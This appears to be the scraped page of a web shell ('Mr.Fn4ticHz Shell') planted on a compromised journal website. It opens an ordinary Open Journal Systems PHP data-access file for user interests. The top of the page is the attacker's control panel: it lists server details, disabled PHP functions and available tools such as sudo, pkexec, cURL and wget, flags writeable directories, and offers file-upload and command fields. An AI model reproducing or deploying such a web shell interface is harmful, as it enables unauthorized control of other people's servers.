Mr.Fn4ticHz Shell
Server IP : 10.10.92.66  /  Your IP : 104.23.243.85
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux jurnalpolinema 5.15.0-177-generic #187-Ubuntu SMP Sat Apr 11 22:54:33 UTC 2026 x86_64
User : jurnal ( 1001)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/jurnal/public_html/lib/pkp/classes/user/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/jurnal/public_html/lib/pkp/classes/user/InterestDAO.inc.php
<?php

/**
 * @file classes/user/InterestDAO.inc.php
 *
 * Copyright (c) 2014-2021 Simon Fraser University
 * Copyright (c) 2000-2021 John Willinsky
 * Distributed under the GNU GPL v3. For full terms see the file docs/COPYING.
 *
 * @class InterestDAO
 * @ingroup user
 * @see User
 *
 * @brief Operations for retrieving and modifying a user's review interests.
 */

import('lib.pkp.classes.controlledVocab.ControlledVocabDAO');

define('CONTROLLED_VOCAB_INTEREST', 'interest');

class InterestDAO extends ControlledVocabDAO {

	/**
	 * Create or return the Controlled Vocabulary for interests
	 * @return ControlledVocab
	 */
	function build() {
		return parent::_build(CONTROLLED_VOCAB_INTEREST);
	}

	/**
	 * Get a list of controlled vocabulary entry IDs (corresponding to interest keywords) attributed to a user
	 * @param $userId int
	 * @return array
	 */
	function getUserInterestIds($userId) {
		$controlledVocab = $this->build();
		$result = $this->retrieveRange(
			'SELECT cve.controlled_vocab_entry_id FROM controlled_vocab_entries cve, user_interests ui WHERE cve.controlled_vocab_id = ? AND ui.controlled_vocab_entry_id = cve.controlled_vocab_entry_id AND ui.user_id = ?',
			array((int) $controlledVocab->getId(), (int) $userId)
		);

		$ids = [];
		foreach ($result as $row) {
			$ids[] = $row->controlled_vocab_entry_id;
		}
		return $ids;
	}

	/**
	 * Get a list of user IDs attributed to an interest
	 * @param $userId int
	 * @return array
	 */
	function getUserIdsByInterest($interest) {
		$result = $this->retrieve('
			SELECT ui.user_id
			FROM user_interests ui
				INNER JOIN controlled_vocab_entry_settings cves ON (ui.controlled_vocab_entry_id = cves.controlled_vocab_entry_id)
			WHERE cves.setting_name = ? AND cves.setting_value = ?',
			['interest', $interest]
		);

		$returner = [];
		foreach ($result as $row) {
			$returner[] = $row->user_id;
		}
		return $returner;

	}

	/**
	 * Get all user's interests
	 * @param $filter string (optional)
	 * @return object
	 */
	function getAllInterests($filter = null) {
		$controlledVocab = $this->build();
		$interestEntryDao = DAORegistry::getDAO('InterestEntryDAO'); /* @var $interestEntryDao InterestEntryDAO */
		$iterator = $interestEntryDao->getByControlledVocabId($controlledVocab->getId(), null, $filter);

		// Sort by name.
		$interests = $iterator->toArray();
		usort($interests, function($s1, $s2) {
			return strcmp($s1->getInterest(), $s2->getInterest());
		});

		// Turn back into an iterator.
		import('lib.pkp.classes.core.ArrayItemIterator');
		return new ArrayItemIterator($interests);
	}

	/**
	 * Update a user's set of interests
	 * @param $interests array
	 * @param $userId int
	 */
	function setUserInterests($interests, $userId) {
		// Remove duplicates
		$interests = isset($interests) ? $interests : array();
		$interests = array_unique($interests);

		// Trim whitespace
		$interests = array_map('trim', $interests);

		// Delete the existing interests association.
		$this->update(
			'DELETE FROM user_interests WHERE user_id = ?',
			array((int) $userId)
		);

		$interestEntryDao = DAORegistry::getDAO('InterestEntryDAO'); /* @var $interestEntryDao InterestEntryDAO */
		$controlledVocab = $this->build();

		// Store the new interests.
		foreach ((array) $interests as $interest) {
			$interestEntry = $interestEntryDao->getBySetting($interest, $controlledVocab->getSymbolic(),
				$controlledVocab->getAssocId(), $controlledVocab->getAssocType(), $controlledVocab->getSymbolic()
			);

			if(!$interestEntry) {
				$interestEntry = $interestEntryDao->newDataObject(); /* @var $interestEntry InterestEntry */
				$interestEntry->setInterest($interest);
				$interestEntry->setControlledVocabId($controlledVocab->getId());
				$interestEntry->setId($interestEntryDao->insertObject($interestEntry));
			}

			$this->update(
				'INSERT INTO user_interests (user_id, controlled_vocab_entry_id) VALUES (?, ?)',
				array((int) $userId, (int) $interestEntry->getId())
			);
		}
	}
}



Mr.F4ticHz - 2022
Mr.Fn4tcHzam